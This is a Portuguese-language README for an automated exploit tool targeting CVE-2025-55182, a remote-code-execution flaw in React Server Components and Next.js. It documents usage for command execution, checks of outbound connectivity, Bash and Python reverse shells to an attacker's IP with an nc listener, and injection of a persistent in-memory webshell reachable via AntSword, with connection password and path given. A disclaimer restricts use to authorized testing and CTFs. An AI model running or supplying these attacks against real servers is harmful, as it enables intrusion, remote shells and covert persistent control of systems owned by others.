lamaper/cve-2025-55182-toolboxFerramenta automatizada de exploração para CVE-2025-55182 (RCE em React/Next.js) com execução de comandos, detecção de saída, shell reverso interativo e injeção persistente de webshell em memória para testes de penetração autorizados e desafios CTF.
Autor: lamaper / BITs2Sys
Versão: 1.0.1
Licença: MIT
Esta ferramenta é uma ferramenta automatizada de teste de penetração especificamente para CVE-2025-55182 (contaminação da cadeia de protótipos do React Server Components / Next.js levando a RCE). Esta ferramenta é projetada para competições CTF e projetos de serviços de segurança autorizados, integrando várias funcionalidades como verificação de vulnerabilidades, detecção de conectividade de saída, shell reverso e injeção de memory shell.
--cmd): Utiliza o mecanismo de exceção NEXT_REDIRECT para retornar com precisão os resultados de execução de comandos codificados em Base64.--check-outbound): Testa automaticamente a capacidade do alvo de acessar DNS, HTTP e ICMP, auxiliando na decisão do vetor de ataque.--shell): Inclui dois modos de shell reverso: Bash e Python3, com suporte para execução assíncrona para evitar que solicitações HTTP fiquem pendentes.--inject-ms): Injeta um memory shell sequestrando o mecanismo de distribuição de eventos do http.Server do Node.js, sem deixar resíduos de arquivos, suportando controle persistente.--ms-cmd): Modo interativo independente do caminho de exploração da vulnerabilidade; após a injeção bem-sucedida, comandos podem ser executados diretamente pelo backdoor.Esta ferramenta é desenvolvida em Python 3 e requer apenas a instalação da biblioteca requests.
pip install requests
https://github.com/assetnote/react2shell-scanner é uma ferramenta de detecção muito útil.
Obter informações do alvo diretamente:
python exploit.py --url http://target.com/ --cmd "id"
python exploit.py --url http://target.com/ --cmd "cat /flag"
Antes de tentar um shell reverso, confirme se o alvo pode se conectar à internet externa:
python exploit.py --url http://target.com/ --check-outbound
Modo Bash:
# 攻击机执行监听: nc -lvnp 4444
python exploit.py --url http://target.com/ --shell bash --ip <你的IP> --port 4444
Modo Python:
python exploit.py --url http://target.com/ --shell python --ip <你的IP> --port 4444
Injetar memory shell:
python exploit.py --url http://target.com/ --inject-ms
Executar comando via memory shell (após injeção bem-sucedida):
python exploit.py --url http://target.com/ --ms-cmd "whoami"
Nota: O caminho de montagem padrão do memory shell é /?pass, acionado pelo envio do parâmetro pwd via POST.
Conexão via AntSword (Chinese AntSword):
Senha de conexão: pwd, método de conexão: CMDLINUX
Esta ferramenta é destinada apenas para pesquisas de segurança dentro dos limites permitidos por lei, competições CTF e testes de penetração autorizados. É estritamente proibido usá-la para ataques ilegais. Todas as consequências decorrentes do uso desta ferramenta são de responsabilidade do usuário.